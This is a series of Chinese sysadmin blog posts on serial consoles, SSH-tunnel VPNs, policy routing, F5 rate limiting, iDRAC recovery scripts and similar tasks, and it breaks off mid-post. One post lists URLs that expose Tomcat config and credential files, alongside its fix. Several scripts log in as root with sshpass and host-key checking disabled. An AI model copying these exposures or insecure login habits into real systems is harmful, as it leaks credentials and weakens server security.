简单说，tty是带显示器的终端，ttyS是串口终端，pts是虚拟终端。tty接显示器、键盘，ttyS接串口，pst就是远程ssh/telnet过来的虚拟终端。

第一步：修改Dell Bios

dell的bios中关于serial的配置如下图：我们只改前两个就可以了：

Serial Communication: “On with serial redirection via com2”
Serial Port Address: “Serial Device1 = COM1, Serial Device2=COM2
External Serial Connector: “Serial Device1”
Failsafe Baud Rate: “115200”
Remote Terminal Type: “VT100/VT220”
Redirection After Boot: “Enabled”

解释一下：

Serial Communication 缺省是 On without Console Redirection，我们需要把所有console的显示都转发到com2上，所以需要改。
Serial Port Address 缺省是 Serial Device 1=COM2, Serial Device 2=COM1，如果不改，那么接上物理机上的串口就可以看到登录画面了，这样等于串口1废掉了，万一我们要把物理机上的com1口给留出来备用，插个串口的wavecom modem做报警用，那就傻眼了，所以必须改掉留出com1备用。
External Serial Connector 缺省是 Serial Device1，不用改，那么物理机上的com口就是com1了，对应ttyS0。
Failsafe Baud Rate: “115200”，不用改，就用这个高的好了。
Remote Terminal Type: “VT100/VT220”，不用改，黑白的vt100就很好
Redirection After Boot: “Enabled”，也不用改，需要重定向。

当然，用脚本一次搞定更好：

用openssh的tunnel建立vpn

Mon, 15 Jan 2024 09:30:11 +0800

openssh是支持隧道的，所以很简单就可以在ssh中再套个管道，直接用来vpn，场景如下：

如上图，A机能ssh无密码登录B机

A机的IP：172.16.8.106

B机的IP：172.16.8.108

A机拨通vpn tunnel后tun的ip：192.168.244.2

B机拨通vpn tunnel后tun的ip：192.168.244.1

首先编辑A和B的/etc/ssh/sshd_config，允许tunnel，缺省是不允许的，然后service sshd restart ，重启sshd

...
PermitTunnel yes  
...

A和B安装linux下的tunctl软件，并启动一个tunnel设备

yum install tunctl  
tunctl -t tun5 -u root

在A(172.16.8.106)机器上生成key，并设置能无密码证书直接登录B(172.16.8.108)

ssh-keygen  
ssh-copy-id root@172.16.8.108

在A上执行命令，建立ssh tunnel：

ssh -w 5:5 root@172.168.8.108

在A上执行

ifconfig tun5 192.168.244.2 pointopoint 192.168.244.1 netmask 255.255.255.0

在B上执行

ifconfig tun5 192.168.244.1 pointopoint 192.168.244.2 netmask 255.255.255.0

这样分别在A和B上ping 192.168.244.1和192.168.244.2，都能通就表示已经ok了。

优化一下，A和B两边都先把tun5起来以后，直接在A上一句话搞定，这个不会自动退出，所以得ctrl+z，然后bg放后台去：

ssh \  
  -o PermitLocalCommand=yes \
  -o LocalCommand="ifconfig tun5 192.168.244.2 pointopoint 192.168.244.1 netmask 255.255.255.0" \
  -o ServerAliveInterval=60 \
  -w 5:5 root@172.16.8.108 \
  'ifconfig tun5 192.168.244.1 pointopoint 192.168.244.2 netmask 255.255.255.0; echo tun5 ready'

如果要用在翻墙的环境，那就得保持长链接了。假设A机器是在一个防火墙后，且被NAT了，那么就得先这样打通隧道：

多网关、策略路由、负载均衡的实际应用

Thu, 11 Jan 2024 15:30:11 +0800

场景：

公司有两条线路，一条是鹏博士的，一条是电信的。
鹏博士是100兆共享线路，电信是10兆独享线路。
鹏博士对端的地址是1.1.1.1，本地服务器地址是1.1.1.2
电信对端的地址是2.2.2.2，本地服务器是2.2.2.3

所以导致有两个网关，大部分公司同事用得是100兆的共享，10兆的被客服独用，但是使用率很低。那能否两边都用呢？

答案是可以的，用策略路由就可以。

策略路由需要用到iproute2，没有的话先安装一下。

定义策略路由表

cd /etc/iproute2/  
echo "101 pengboshi" >> rt_tables  
echo "102 dianxin" >> rt_tables

定义策略路由

ip route add default via 1.1.1.1 table 101  
ip route add default via 2.2.2.2 table 102

ok，流量分为两个方向，进来的和出去的，先定义简单的，进来的：

ip rule add from 1.1.1.1 table 101  
ip rule add from 2.2.2.2 table 102

出就比较麻烦了，100兆和10兆按权重来分，8：2吧

ip route replace default scope global \  
nexthop via 1.1.1.1 dev eth0 weight 8 \  
nexthop via 2.2.2.2 dev eth0:1 weight 2

注意，因为我们是用了一台路由器来连接上面两个网关的，服务器实际是一个网卡上连到交换机，然后再上连路由器的，如下图:

我们把这一切固定下来，编辑/etc/rc.d/rc.local即可

# cat /etc/rc.local
#!/bin/sh
touch /var/lock/subsys/local  
/sbin/ip route replace default scope global nexthop via 1.1.1.1 dev eth0 weight 8 nexthop via 2.2.2.2 dev eth0:1 weight 2

Keepalived与iptables mark的联动

Thu, 11 Jan 2024 14:40:11 +0800

Iptable可以给进来的包打上标签，比如我们把从1.2.3.4进来的包都打上标签2000（标签可以是任何整数）

iptables -t mangle -A PREROUTING -i eth0 \  
-p tcp -s 1.2.3.4 --dport http -j MARK --set-mark 2000

或者把访问172.16.8.1的80和443端口的包都打上标签123：

iptables -t mangle -A PREROUTING -i eth0 \  
-p tcp -d 172.16.8.1/32 -m multiport --dports 80,443 -j MARK --set-mark 123

随后我们就可以在keepalived里来指定virtual_server来处理这些打过标签的流量了：

virtual_server fwmark 123 {  
   ...
}

具体的一个用法，如果你想禁止从1.2.3.4来的ip访问你服务器，于是乎你就可以先给包打上标签2000，然后配个服务器，上面写联系人和电话，单独给他看，他看到会联系你询问被屏蔽的原因，如下：

virtual_server fwmark 2000 {

delay_loop 6  
 lb_algo wlc
 lb_kind NAT
 persistence_timeout 0
 protocol TCP

real_server 10.10.10.1 80 {  
 weight 1
 TCP_CHECK {
  connect_port 80
  connect_timeout 3
  }
 }
}

F5利用irule来防止Ddos的方法

Thu, 11 Jan 2024 14:20:11 +0800

公司的服务器遭受了攻击，某些人不停调用公司服务器发送短信的api，真是有够无聊的。

由于我们的架构是前面F5 Bigip，后面接了N个Tomcat，那就直接写个F5的irule来阻止它。

阻止GET请求的频率，30秒只允许单个ip发5次

假设GET的模式是
GET /sendsms.do?mobile=13800000000&msg=aaaaaaaa

irule里有个非常神奇的东西，table，是session会话表的超表，基本操作是key-value型，带有生存时间，这点最重要。

详细的大家可以去看：

https://clouddocs.f5.com/api/irules/table.html

阻止GET的irule：

when RULE_INIT {  
  set static::windowSecs 30
}


when HTTP_REQUEST {  
    if { ( [HTTP::method] equals "GET" ) && ( [HTTP::uri] starts_with "/sendsms.do" ) } {
            set myUserId [IP::client_addr]
            set myMaxRate 5
            if { $myMaxRate ne "" } {
                set reqnum [table incr "req:$myUserId"]
                set tbl "countpost:$myUserId"
                table set -subtable $tbl $reqnum "ignored" indef $static::windowSecs
                if { [table keys -subtable $tbl -count] > $myMaxRate } {
                    HTTP::respond 403 "Block"
                    return
                }
            }
    }
}

来个更加复杂的例子：

POST的请求如下：

POST /api/sendMessage.htm HTTP/1.1  
Content-Length: 203  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Host: 172.8.2.23  
Connection: Keep-Alive  
User-Agent: Apache-HttpClient/4.5 (Java/1.7.0_51)  
Accept-Encoding: gzip,deflate

action=order.sumit.order&jsonData=%7B%22channelCode%22%3A%22%22%2C%22mobiles%22%3A%5B%2215176989787%22%5D%2C%22source%22%3A%22pop%22%2C%22tempParameters%22%3A%5B%22480827%22%2C%2291%22%5D%2C%22templateId%22%3A2%7D

我们要阻止POST /api/sendMessage.htm且action=sendmsg的话，就比较复杂一些，我们判断uri满足条件后，还要进一步判断content中action=的内容：

用openssh的tunnel建立隧道翻墙

Thu, 11 Jan 2024 14:05:11 +0800

openssh是支持隧道的，所以可以在ssh中再套个隧道，直接用来翻墙，做法如下：

如上图，A机能ssh—->B机

A机的IP：172.16.8.106

B机的IP：172.16.8.108

A机建立tunnel后tun的ip：192.168.244.1

B机建立tunnel后tun的ip：192.168.244.2

首先编辑A和B的/etc/ssh/sshd_config，允许tunnel，缺省是不允许的，然后service sshd restart ，重启sshd

PermitTunnel yes

A和B安装linux下的tun软件，并启动一个tunnel设备

yum install tunctl  
tunctl -t tun5 -u root

在A(172.16.8.106)机器上生成key，并设置能无密码直接用证书登录B(172.16.8.108)

ssh-keygen  
ssh-copy-id root@172.16.8.108

在A上执行命令，建立ssh tunnel：

ssh -w 5:5 root@172.168.8.108

在A上执行

ifconfig tun5 192.168.244.1 pointopoint 192.168.244.2 netmask 255.255.255.0

在B上执行

ifconfig tun5 192.168.244.2 pointopoint 192.168.244.1 netmask 255.255.255.0

这样分别在A和B上ping 192.168.244.1和192.168.244.2，都能通就表示已经ok了。

优化一下，A和B两边都先把tun5启动以后，直接在A上一句话搞定，这个不会自动退出，所以得ctrl+z，然后bg放后台去；或者直接用screen挂住：

ssh \  
  -o PermitLocalCommand=yes \
  -o LocalCommand="ifconfig tun5 192.168.244.1 pointopoint 192.168.244.2 netmask 255.255.255.0" \
  -o ServerAliveInterval=60 \
  -w 5:5 root@172.16.8.108 \
  'ifconfig tun5 192.168.244.2 pointopoint 192.168.244.1 netmask 255.255.255.0; echo tun5 ready'

如果要用在翻墙的环境，那就得保持长链接了。假设A机器是在一个防火墙后，且被NAT了，那么就得先这样打通隧道：

Docker急速搭建运行ikev2 vpn来让iphone翻墙

Thu, 11 Jan 2024 13:05:11 +0800

这篇文章只适用于在自己的vps上运行：

步骤如下：

1、拉回来镜像，ikev2-vpn-server，话说这么多年过去了，依然适用，2016年到现在

docker pull gaomd/ikev2-vpn-server

2、启动服务端，注意–privileged参数，这个是必须的

docker run --privileged -d --name ikev2-vpn-server --restart=always -p 500:500/udp -p 4500:4500/udp gaomd/ikev2-vpn-server:0.3.0

搞定，只需要2步即可完成相对比较难搞的ikev2的安装.

3、生成iphone客户端配置文件

docker run -i -t --rm --volumes-from ikev2-vpn-server -e "HOST=vpn.rendoumi.com" gaomd/ikev2-vpn-server:0.3.0 generate-mobileconfig > ikev2-vpn-ihone6s.mobileconfig

注意：vpn.rendoumi.com替换成你自己对应的ip或者域名

然后你把这个配置文件下载，安装到MacOS或者iOS中，就可以愉快的玩耍了。

Linux下的策略路由

Wed, 10 Jan 2024 09:05:11 +0800

如果我们有两条上网线路可以使用，那么策略路由就是个好的选择了。

基本概念：

策略路由表（Policy routing tables）: Linux 缺省有3个表， local (不能改也不能删), main, 和 default。添加路由的时候如果不指定，缺省是添加到main路由表里的。
策略路由规则（Policy routing rules）: Linux 缺省也有三套路由规则，对应三个缺省路由表。

查看一下就可以看到三个表：

# ip rule list
0:    from all lookup local  
32766:    from all lookup main  
32767:    from all lookup default

查local表的路由规则：

# ip route list table local
local 10.10.0.1 dev tun0  proto kernel  scope host  src 10.10.0.1  
broadcast 127.255.255.255 dev lo  proto kernel  scope link  src 127.0.0.1  
local 192.168.122.1 dev virbr0  proto kernel  scope host  src 192.168.122.1  
local 172.16.8.1 dev br0  proto kernel  scope host  src 172.16.8.1  
broadcast 192.168.122.0 dev virbr0  proto kernel  scope link  src 192.168.122.1  
broadcast 172.16.8.0 dev br0  proto kernel  scope link  src 172.16.8.1  
broadcast 172.16.9.255 dev br0  proto kernel  scope link  src 172.16.8.1  
broadcast 127.0.0.0 dev lo  proto kernel  scope link  src 127.0.0.1  
broadcast 192.168.122.255 dev virbr0  proto kernel  scope link  src 192.168.122.1  
local 127.0.0.1 dev lo  proto kernel  scope host  src 127.0.0.1  
local 127.0.0.0/8 dev lo  proto kernel  scope host  src 127.0.0.1

使用策略路由的方法也很简单，1、定义一个路由表，2、定义路由规则，3、应用路由规则。

服务器R920的一次急速故障处理

Wed, 10 Jan 2024 09:05:11 +0800

记录一下，2016年的5月5日这天的中午。

正在跟老刘、大亮、Good宁一起吃午饭，突然手机接到短信报警，说是主数据库Down了。出大事了！！！

这个是很常见的场景吧，如何在这种情况下处理服务器故障呢？基本吃饭的时候是不会携带笔记本的，所有的操作只能在手机上完成了。

如果是iphone手机，装上Termius；如果是android手机，装上Juicessh。这两个都是远程ssh软件（我们的服务器都是Linux，没有Windows）。另外公司是有openvpn的，必须通过vpn才能连接到IDC的服务器，所以也需要手机装上openvpn软件。

拨通vpn，用ssh连上服务器，然后快速运行实现编写好的ping脚本：

cat 1.ping.sh  
#!/bin/sh
ping 172.8.$1

这个脚本很奇怪吧，名字叫做1.ping.sh，是因为在手机上操作，一切都要迅速，Termius和Juicessh都是支持命令补全的{tab}键的，所以只要输入./1{tab} 1.1 就等于执行了ping 172.8.1.1，上面只输入了6个字符，而完整的ping命令则需要输入14个字符，这就是原因了。

ping一下不通，那就赶紧执行脚本，抓一下服务器idrac前面板的信息：

cat 2.idrac.sh  
#!/bin/sh
sshpass -p "xxxxxx" ssh -oStrictHostKeyChecking=no root@10.8.$1 racadm get System.LCD.CurrentDisplay

上面脚本用dell的radadm来抓取服务器idrac的前面板信息，idrac和网卡的网段只是前面第一段不同，网卡是172，idrac是10，这样很方便记忆。

得到结果：

CPU1 has internal error. (IERR)

彻底完蛋！CPU出错了，想都不用想，硬件重启：

cat 3.reboot.sh  
#!/bin/sh
sshpass -p "xxxxxx" ssh -oStrictHostKeyChecking=no root@10.8.$1 racadm serveraction powercycle

从powercycle到Centos完全启动，系统开始记录/var/log/messages，所有时间共花费了7分钟。

注意：有可能在重启的过程中需要按一下F1的按钮继续，这样就需要打开vnc，按那一下子，或者提前在idrac里设置ErrPrompt disabled，不需要按F1就重启。

sshpass -p "xxxxxx" ssh -oStrictHostKeyChecking=no root@10.8.$1 racadm set BIOS.MiscSettings.ErrPrompt Disabled

总结：这起故障从接到报警到检查完毕只花费了3分钟，然后重启，7分钟机器系统启动，2分钟oracle备库恢复，3+7+2=12分钟。这真是个极限时间了。

运维能做到的也就这么快了吧。

KVM中网卡地址随机生成方法

Tue, 09 Jan 2024 10:05:11 +0800

用bash随机生成网卡地址：

echo 52:54:$(dd if=/dev/urandom count=1 2>/dev/null | md5sum | sed 's/^\(..\)\(..\)\(..\)\(..\).*$/\1:\2:\3:\4/')  
52:54:f6:65:52:39

另一种做法：

openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'

Linux下设置LANG变量

Tue, 09 Jan 2024 09:05:11 +0800

vim 编辑文件，里面是有中文的，可是环境变量中LANG=C，非常不便啊，经常得export LANG=zh_CN来解决。放在/etc/profile里也不是个事。

一劳永逸的方法：

# vi /etc/sysconfig/i18n
------
LANG="zh_CN.UTF-8"  
SUPPORTED="zh_CN.UTF-8:zh_CN:zh:zh_TW.UTF-8:zh_TW:zh:en_US.UTF-8:en_US:en"  
SYSFONT="latarcyrheb-sun16"  
------

SNMP OID来监控网络设备流量

Mon, 08 Jan 2024 12:05:11 +0800

想自己画图来监控交换机的流量，第一步就是通过snmpwalk来得到交换机的进出流量：

我们用得是Cisco 3750的24口交换机，给个OID表：

先看一下交换机的端口情况：

snmpwalk -v 2c -c xxxxxxxx 172.16.1.1 .1.3.6.1.2.1.2.2.1.2

得到一堆信息，问网络工程师得到1/0/5和2/0/5这两个端口是双上连线路：

IF-MIB::ifDescr.10105 = STRING: GigabitEthernet1/0/5  
IF-MIB::ifDescr.10605 = STRING: GigabitEthernet2/0/5

记住两个端口的描述符，10105和10605.

继续，我们看上表，.1.3.6.1.2.1.2.2.1.10(接口收到的字节数)，我们要得到某个具体端口收到的字节数，就必须加上端口的描述符了。所以要得到1/0/5的收到字节数，就是.1.3.6.1.2.1.2.2.1.10.10105

#snmpwalk -v 2c -c xxxxxxxx 172.16.1.1 .1.3.6.1.2.1.2.2.1.10.10105
IF-MIB::ifInOctets.10105 = Counter32: 2198534228

ok，拿到字节数了，然后单位是bytes，换算成bit(*8)，然后除若干1024，得到单位m，g, t等，入库，然后调hichart画图即可。

然而，还有一个问题，看清上面的单位，Counter32，呵呵，所以这里是不对的。现如今的网络多是千兆网卡了，所以counter32是不对的, 100Mbps以上必须使用Counter64的单位，给个对照表：

高速网卡(100兆以上）:

ifHCInOctets: 1.3.6.1.2.1.31.1.1.1.6 (64-bit Octets in counter)
ifHCOutOctets: 1.3.6.1.2.1.31.1.1.1.10 (64-bit Octets out counter)
ifHCInUcastPkts: 1.3.6.1.2.1.31.1.1.1.7 (64-bit Packets in counter)
ifHCOutUcastPkts: 1.3.6.1.2.1.31.1.1.1.11 (64-bit Packets out counter)
ifHighSpeed: 1.3.6.1.2.1.31.1.1.1.15 (An estimate of the interface’s current bandwidth in units of 1Mbps)

低速网卡：

Linux下配置Modem拨号

Mon, 08 Jan 2024 11:05:11 +0800

公司为了跟建设银行建立专线，首先用电话线拨号进行测试。买回来一个外置的Modem，接在服务器的com1口上，先用电话测试一下，OK没问题，那就继续配modem拨号

Linux下配置Modem拨号有两种方式，传统的pppd方式和简单的wvdial方式。

一、wvdial配置

wvdial的配置方法超级简单，执行命令：wvdialconf /etc/wvdial.conf 它会自动测出系统的Modem，稍微修改一下，加几个参数：

vi /etc/wvdial.conf 

[Dialer Defaults]
Modem = /dev/ttyS0  
Baud = 115200  
Init1 = ATZ  
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0  
ISDN = 0  
Auto Reconnect = on  
Modem Type = Analog Modem  
Phone =0,28929191  
Username = ttt  
Password = qqq

这就弄好了，执行wvdail &就可以拨号了，结束也很简单，kill -9 杀掉wvdial和ppd进程即可。

注意：wvdial 拨通后系统多了一块网卡ppp0，路由信息都未修改，为了能到达建行的服务器，需要编辑/etc/ppp/ip-up文件，加一句：

route add -host 12.0.98.150 gw 12.0.98.236

然后重拨ping一下，ping 12.0.98.150，能ping通就说明ok了。

二、pppd配置

wvdial隐藏了很多信息，我们下面用pppd来看看真实的拨号过程吧：

其实modem拨号认证的方式有两种，一种是显示明文的login:(username:)方式，另一种是显示乱码的pap(chap)方式。

①首先：

vi /etc/ppp/options  
lock  
crtscts  
defaultroute  
noauth

②清理一下老的连接：

killall pppd  
rm /var/lock/LCK..ttyS0

③找出认证的方式：

/usr/sbin/pppd /dev/ttyS0 115200 debug connect
 "/usr/sbin/chat -v   ''   'AT&F0'   OK
ATD0,28929191   CONNECT   'dc' "

less /var/log/messages

docker lxc类型容器自启动以及自动执行命令

Mon, 08 Jan 2024 10:05:11 +0800

我们的容器采用的是lxc类型，一是为了固定ip，二是避开iptable类型转发的方式。因为我们是强网络管理环境，网络工程师对网络的规划和管控非常强。

这种方式下启动lxc容器倒是很好办，直接编辑/etc/rc.d/rc.local

docker start jko2o-16-13-49  
docker start vis-16-13-51  
docker start vis-16-13-50  
docker start vis-16-13-48  
docker start vis-16-13-47

就可以开机自动启动容器了。

容器内我们是采用supervisord主进程来保持容器不自动销毁的，那么其他命令如果都加入supervisord，那会非常麻烦。

简单化，用lxc-execute来执行，比较麻烦的就是需要查出来lxc容器的名字，用以下命令查出jko2o-16-13-49的全名：

docker inspect -f '{{.Id}}' jko2o-16-13-49  
ebe2e6a1249f6f22334014b0072186dfaee52173f3df06cd826f9e64e7d4c51f

然后编辑/etc/rc.d/rc.local，用lxc-execute执行命令就可以了：

#47
lxc-execute -n e223d81ea73551460b82e1977b92ef07e24437cd1f4494470feafd4ff455104b -- service mysqld start  
lxc-execute -n e223d81ea73551460b82e1977b92ef07e24437cd1f4494470feafd4ff455104b -- service httpd start  

#48
lxc-execute -n 1075971953b9c79494509bf89131e03bbd5ab0b9a388217bd9b6de7a553016a5 -- //www/wdlinux/init.d/mysqld start  
lxc-execute -n 1075971953b9c79494509bf89131e03bbd5ab0b9a388217bd9b6de7a553016a5 -- //www/wdlinux/init.d/httpd start  
lxc-execute -n 1075971953b9c79494509bf89131e03bbd5ab0b9a388217bd9b6de7a553016a5 -- //www/wdlinux/init.d/wdapache start  
lxc-execute -n 1075971953b9c79494509bf89131e03bbd5ab0b9a388217bd9b6de7a553016a5 -- //www/wdlinux/init.d/nginxd start  
lxc-execute -n 1075971953b9c79494509bf89131e03bbd5ab0b9a388217bd9b6de7a553016a5 -- //www/wdlinux/init.d/pureftpd start  

#49
lxc-execute -n ebe2e6a1249f6f22334014b0072186dfaee52173f3df06cd826f9e64e7d4c51f -- /export/servers/nginx178/sbin/nginx  

#50
lxc-execute -n 5b7e8cd3130d31bae5b089202c7e2092b9daca5f19cc055ce4ee50cf8b789504 -- /export/servers/tomcat/tomcat.sh

Openvpn服务器端无法开通udp端口的故障排除

Mon, 08 Jan 2024 10:05:11 +0800

openvpn server can’t use udp port

这个问题非常古怪，我们有两个机房。分别在两边假设了openvpn服务器，一个机房的ovpn就完全正常，而另一个机房的openvpn如果是tcp就没问题，如果是udp就报错，无法连接。把正常机房的openvpn完全复制一份拿过去，也是一样报错，太郁闷了！

错误提示是：

TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)

非常古怪啊：在内网用nc来试验udp是否正常：

nc -ul 1194

在内网随便找一台机器测试：

nc -u xxxx 1194

然后两边随便输入字符测试，没问题。

然后从公网测试，就出问题了。nc连接上以后，只能发送一次数据，然后管道就断裂了，无法再传数据。

nc -u 公网ip 1194  
aaa  
nc: Write error: Connection refused

百思不得其解啊，试了若干次，才发现问题的症结所在。

错误的那台服务器，有两个网络地址： 172.16.8.4和172.16.8.1 其中8.4的地址是缺省地址，8.1的地址是用ifconfig手动后添加的。而前端防火墙做得公网映射是映射到了8.1的1194端口

tcp由于双方是要校验来往src地址的，所以没问题，到了udp，只管发不管收，所以udp包就从8.4的缺省地址发出去，导致双方不一致，无法正常接收了。

解决方法也很简单，在openvpn服务器端的配置文件中强行指定local端的ip即可：

local 172.16.8.1

Cisco ASA5520 VPN线路的监控和自动重启

Mon, 08 Jan 2024 09:05:11 +0800

Cisco ASA5520 VPN线路的监控和重启

公司从事第三方支付工作，跟很多银行都有合作关系，拉了很多专线直通银行，双方建立VPN，两端都是Cisco的设备，但是，这些线路有时候会莫名其妙的断掉，关键是程序不知道啊，老是重连，一直等到客服反映客户投诉，查一圈程序后才知道。这在生产环境上可是行不通的，找来了所谓Cisco高手，也搞不明白为什么老断，没办法，于是写了两个监控脚本，使用Ping检测VPN对端的状况，一旦Ping不通，就用脚本登陆防火墙，自动重启VPN。

在安装之前，先安装一个能从命令行发送邮件的软件Email来发送报警邮件，否则每台机器都起sendmail，没什么必要:

https://github.com/muquit/mailsend-go


#发送实例
mailsend-go -smtp smtp.126.com -port 25 \
auth \
  -user xxx@126.com -pass xxx \
  -from xxx@126.com -to  "xxx@126.com" \
-sub "Test" \
body -msg 'hello world'

126邮箱这里的密码用的是授权码 授权密码，不是邮箱密码

说明一下场景：

210.210.210.3是对端Cisco vpn设备的公网IP
192.168.101.99是建立了VPN后，对端服务器的私网IP地址；
192.168.1.1是己方Cisco ASA5520的私网地址。

#!/bin/sh

while [ "1" -eq "1" ]  
do  
    live=`ping -c4 "192.168.101.99"|wc -l`
    if [ $live -eq 5 ] ; then
        /usr/local/bin/mailsend-go -debug -to "ranrui.zhang@rendoumi.com" -from monit@ddky.com -ssl -port 465 -smtp smtp.qiye.aliyun.com \
             auth -user "monit@ddky.com" -pass "xxxxxxxx" \
             -sub "vpn断了" body -msg "`date +%Y`年`date +%m`月`date +%d`日 vpn断了！！！" \
             -cs "utf-8"
        /usr/local/bin/revpn.sh
        echo "`date +%Y`年`date +%m`月`date +%d`日 `date +%H`点`date +%M`分
                线路不能到达王府井机房，重启VPN。"
        sleep 60
    fi;
    sleep 60
done

以下是用expect自动登录Cisco路由器重启vpn的脚本 revpn.sh

配置Minio+nginx的代理来开放桶内内容

Thu, 28 Dec 2023 13:35:11 +0800

同事有个需求，想开放个域名，给别的同事们下载文件用。

这个其实很建单，问题就是文件怎么放上去，sftp、ftp什么的都需要搭个服务器，其实最简单应该是webdav，但是放公网又不太安全。

本来考虑是用 oss 的桶，前面直接套个CDN，但是如果桶文件泄露被疯狂下载，也会付出银两。

最后做法是用 Minio 弄一个模拟的桶环境，前面配置上 Nginx，带宽限制到1M，这样就无所谓了。同事用另一台机器模拟S3的API往上面放文件供下载。

一、minio的安装

下载二进制文件，简单粗暴启动：

#!/bin/bash
nohup /app/minio/minio server --address '0.0.0.0:9000' --console-address '0.0.0.0:9001' /app/bucket > /app/minio/minio.log 2>&1 &

这样就启动了，然后网页打开 http://10.10.247.211:9000 ，就可以看到登录界面了

登录后，我们先建立一个Bucket，就叫做pub桶，把pub桶的策略改成public，这样nginx代理的时候才能直接访问到

然后我们上传个图片，BOMS3.0.png，然后去/app/bucket目录下看看

结果发现BOMS3.0.png居然是个目录，进去继续看

meta信息和若干的part，看来这是为多版本准备的，这就是为什么要策略是public的原因，不是就无法从9000访问。

二、安装配置nginx

server {
    listen      80;
    listen      [::]:80;
    server_name  supervisor-task.ddky.com;

    location / {
        return 301 https://supervisor-task.ddky.com$request_uri;
    }
}

server {
    listen       443 ssl;
    server_name  supervisor_task.ddky.com;

    ssl_certificate      /etc/nginx/cert/_.ddky.com.crt;
    ssl_certificate_key  /etc/nginx/cert/_.ddky.com.key;
    ssl_session_timeout 5m;

    location / {
        rewrite ^/$ /pub/index.html break;
        proxy_pass http://10.10.247.211:9000/pub/;
        proxy_redirect off;
    }

    access_log     /app/logs/access.log ;
    error_log      /app/logs/error.log;

}

主要就是要配置代理，代理到minio的9000端口

NFS的详细解释

Thu, 28 Dec 2023 09:10:11 +0800

NFS的SERVER分两部分：

1、RPC 主程序：rpcbind

NFS 本质是一个 RPC 服务，而要启动任何一个 RPC 服务之前，都需要做好 port 的对应 (mapping) 的工作才行，这个工作其实就是『 rpcbind 』这个服务所负责的！也就是说，在启动任何一个 RPC 服务之前，我们都需要启动 rpcbind 才行！ (在 CentOS 5.x 以前这个软件称为 portmap，在 CentOS 6.x 之后才称为 rpcbind 的！)

2、NFS 主程序：nfs-utils

就是提供 rpc.nfsd 及 rpc.mountd 这两个 NFS daemons 与其他相关 documents 与说明文件、执行文件等的软件！这个就是 NFS 服务所需要的主要软件！

安装服务端NFS Server

yum install nfs-utils rpcbind  -y
sudo apt install nfs-kernel-server

客户端不提供服务，所以不用装rpcbind

yum install nfs-utils
sudo apt install nfs-common

将NFS和rpcbind加入开机启动

systemctl enable --now rpcbind
systemctl enable --now nfs

客户端不用启用任何服务

服务端检查是否安装nfs：

rpm -qa | grep nfs与 rpm -qa | grep rpcbind即可

停止服务端的nfs server的方法：

systemctl stop nfs
systemctl stop rpcbind

配置共享目录

在服务端配置一个共享目录

Kvm虚拟机挂载临时急救iso启动的方法

Thu, 28 Dec 2023 09:08:11 +0800

Kvm虚拟机挂载临时急救iso启动的方法：

首先去到宿主机

编辑虚机文件virsh edit vis-18-32-6

    <disk type='file' device='cdrom'>
      <driver name='qemu' type='raw'/>
      <target dev='hda' bus='ide'/>
      <readonly/>
      <address type='drive' controller='0' bus='0' target='0' unit='0'/>
    </disk>

在target下面增加一行source：

    <disk type='file' device='cdrom'>
      <driver name='qemu' type='raw'/>
      <target dev='hda' bus='ide'/>
	  <source file="/export/kvm/systemrescuecd-x86-5.2.2.iso"/>
      <readonly/>
      <address type='drive' controller='0' bus='0' target='0' unit='0'/>
    </disk>

再修改boot为cdrom，改回去则是hd

  <os>
    <type arch='x86_64' machine='pc-i440fx-rhel7.0.0'>hvm</type>
    <boot dev='cdrom'/>
  </os>

然后启动虚机就可以了。

shell脚本的一个好的帮助信息

Thu, 28 Dec 2023 09:05:11 +0800

Shell脚本好的帮助信息的例子

一个好的脚本，必须有好的帮助信息

给一个比较简洁的例子

#!/bin/bash
###
### my-script — does one thing well
###
### Usage:
###   my-script <input> <output>
###
### Options:
###   <input>   Input file to read.
###   <output>  Output file to write. Use '-' for stdout.
###   -h        Show this message.

help() {
    awk -F'### ' '/^###/ { print $2 }' "$0"
}

if [[ $# == 0 ]] || [[ "$1" == "-h" ]]; then
    help
    exit 1
fi

echo Hello World

以前丑陋的用法真是没法看！！！

Nodejs禁止后台偷偷升级

Thu, 28 Dec 2023 09:03:11 +0800

Nodejs禁止后台偷偷升级

去到172.18.31.2上，会看到很多node进程

有病噻，系统都没有运行node程序。唯一的程序是nci-ansible-ui-quick-setup，在/export/server下，还没有运行，升级个茄子噻。

全杀掉，然后全局禁止升级即可

npm config set update-notifier false --global

第一次运行会有个提示，再运行就没有了。

Tomcat配置不当导致文件泄露

Thu, 28 Dec 2023 09:00:11 +0800

Tomcat配置不当导致文件泄露

说明：Tomcat由于配置不当会导致tomcat/conf log webapps work temp bin lib等信息暴露在游览器中例如：

http://192.168.89.38:8080/conf/catalina.policy
http://192.168.89.38:8080/conf/catalina.properties
http://192.168.89.38:8080/conf/context.xml
http://192.168.89.38:8080/conf/logging.properties
http://192.168.89.38:8080/conf/server.xml
http://192.168.89.38:8080/conf/tomcat-users.xml
http://192.168.89.38:8080/conf/web.xml

修复方法：

将 /export/servers/tomcat 下的 server.xml

<Host name="localhost" appBase=""  改成  
<Host name="localhost" appBase="webapps"

appBase千万不能为空

修改完后重启生效

用fail2ban简简单单封掉ssh端口的试探

Thu, 28 Dec 2023 08:50:11 +0800

用fail2ban简简单单封掉ssh端口的试探

有人不停试探登录22端口的openssh服务，ip量很大的话，比如1000多ip论番来，会导致服务的Loadavg升高到7左右，系统进程内ssh达到1000多，很困扰

如果改掉sshd的缺省端口22，那么scp以及sftp的时候会带来很大麻烦

这种情况就装个fail2ban就好，注意，Centos 7现在用的是fiewalld，所以fail2ban可以用ufw或者iptables，建议用iptables，比较容易看

#安装
yum install -y epel-release
yum install -y fail2ban

最主要的就是修改/etc/fail2ban/jail.conf

#vi /etc/fail2ban/jail.conf
......
[sshd-iptalbes]
enabled = true
filter = sshd
port = 22
action = iptables[name=SSH, port=ssh, protocol=tcp]
logpath = /var/log/secure
maxretry = 3
bantime = 86400
......

注意上面用的是iptables，三次尝试失败就ban一天。

用logrotate解决catalinna.out过大的问题

Thu, 28 Dec 2023 08:45:11 +0800

用logrotate解决catalinna.out过大的问题

我们的tomcat的catalina.out基本运行一段时间后会出现文件过大的问题，处理一下。

前提是/export/servers/tomcat/下需要建立个软链接tomcat，指向现在正在用的tomcat版本

然后就可以用logrotate来解决catalina.out的日志轮转问题。这种方式比较简单。在/etc/logrotate.d/目录下新建一个名为tomcat的文件，

cat >/etc/logrotate.d/tomcat <<EOF
/export/servers/tomcat/tomcat/logs/catalina.out{
